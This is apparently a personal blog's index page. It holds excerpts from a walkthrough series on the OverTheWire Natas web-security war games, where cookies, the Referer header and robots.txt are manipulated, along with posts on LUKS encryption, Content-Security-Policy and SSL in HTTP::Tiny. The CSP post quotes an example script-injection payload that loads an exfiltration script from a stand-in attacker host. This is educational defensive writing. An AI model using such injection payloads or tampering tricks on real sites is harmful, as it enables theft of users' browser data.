On level 6, there is a curious “Input secret” form. I wonder what it does? Well, there is also a “View sourcecode” link, which will presumably show us the source code for that form. Then, we can try to anaylze whether it has any weaknesses we can take advantage of.
Server-side security war games: Part 6
Server-side security war games: Part 5
“You are not logged in” – I wonder what that means. Normally, websites use cookies to tell whether you’re logged in. Let’s check if that’s the case here.
If you’re using Google Chrome, press CTRL-J and switch to the “Resources” tab. Expand the “Cookies” item, and select the current domain: “natas5.natas…” and lo and behold there is a cookie there. Named loggedin. With value 0. Remember, the client controls what gets sent in the cookies. That’s our attack vector.
Server-side security war games: Part 4
We got an “access disallowed” error because we were visiting from “”, while authorized users should come from “natas5.blah”. Try the “Refresh page” link. Now the page says we came from “natas4.blah”. This is the referring to the Referer[[sic(https://en.wikipedia.org/wiki/Referer#Origin_of_the_term_referer)] header. But that’s information provided by the client, and we control the client. We can put whatever we want in that header. So, let’s put the natas5 domain, as they kindly suggested.
Server-side security war games: Part 3
There is still nothing on this page, and now if we look at the source, they’ve removed that image. Now there’s a taunt that not even Google will find it this time.
Well, Google is a good little robot puppy who always obeys his master, but we are evil attackers. What rules do robots have to follow that we don’t? robots.txt. Let’s look at what they don’t want Google to see.
Server-side security war games: Part 2
Use the username “natas2” and the password you obtained in level 1.
There is nothing on the page, nor anything “in” the page, if you look in the source.
Maybe there’s something in one of those external resources we can use. There’s a CSS file, and an image. The CSS file was always there, but the image is new, so let’s see if we can exploit that.
Copy the src for the image, and paste it into the address bar, after the domain part.
Server-side security war games: Part 1
Use the username “natas1” and the password you uncovered at level 0 to get in.
Let’s try the same trick as before – only now you can’t right-click. Instead, use CTRL-U to view source, and get the password for the next level.
Lessons learned Again, this level was easy, but it’s important to understand that people aren’t required to behave the way you want when using your website. Doing validation in client-side javascript, or disabling right-click isn’t going to be effective, so don’t use it for anything security-sensitive.
Server-side security war games: Part 0
overthewire.org has a series of “war games” – challenges that help you learn by doing. Natas is the webserver security series. Although there are walkthroughs already available, I am going to do my own series of posts. Some of the existing walkthroughs are overly complex, and none actually finished all the levels. The war games unfortunately don’t have anything explaining why the example vulnerabilities can be important in real-world scenarios. I’ll try to fill that void.
I’m going to post one every few days, beginning with levels zero and one today.
Adding LUKS hard disk encryption on LVM after the fact
I have an external hard disk enclosure with two disks. I used Logical Volume Manager to create a single logical volume that spanned them, and slowly filled it to about 60% capacity. Lately, I’ve been trying to be more conscious of using encryption, and this was one area where I hadn’t done so. At the time I felt like learning how to do LVM was enough, and LUKS could wait until later.
Permanent link for post:
/post/adding-luks-hard-disk-encryption-on-lvm-after-the-fact/
Posted: Jun 15, 2013
Tags:
Posted: Jun 15, 2013
Tags:
Planning a Content-Security-Policy with Dancer
The same-origin policy is a fundamental part of the security infrastructure of the web. It prevents a web site’s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank’s website gives you some data, it can only be accessed by your bank’s website, and not by scripts from other websites.
That’s a nice theory, it’d be a shame if some evidence happened to it.
In the real world, attackers have found ways to get around the same-origin policy to gain access to data they’re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage – perhaps a username. Well, if your username is <script type="text/javascript" src="http://evil.attacker.com/exfiltrate_browser_data.js"></script>, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter Content Security Policy.
Permanent link for post:
/post/planning-a-content-security-policy-with-dancer/
Posted: Feb 1, 2013
Tags:
Posted: Feb 1, 2013
Tags:
SSL security in HTTP::Tiny
I was asked to add SSL support to a client library, while also moving from home-grown manual HTTP code to a proper module. HTTP::Tiny was ideal because it is pure-Perl, a core module since 5.14 (so it’ll be maintained), and it’s just one .pm file, making it easy to ship.
An application server that supported SSL was provided for testing purposes, but the SSL certificate didn’t match the hostname – HTTP::Tiny correctly rejected connections. I needed to be able to control the settings sent to the underlying IO::Socket::SSL object used for the encrypted connection so I could turn off security features for testing. As I worked on that, David Golden offered invaluable feedback, which greatly improved the design of the features added to HTTP::Tiny.
As of 0.018, HTTP::Tiny is more configurable, and has a simple interface for easily making SSL connections more secure.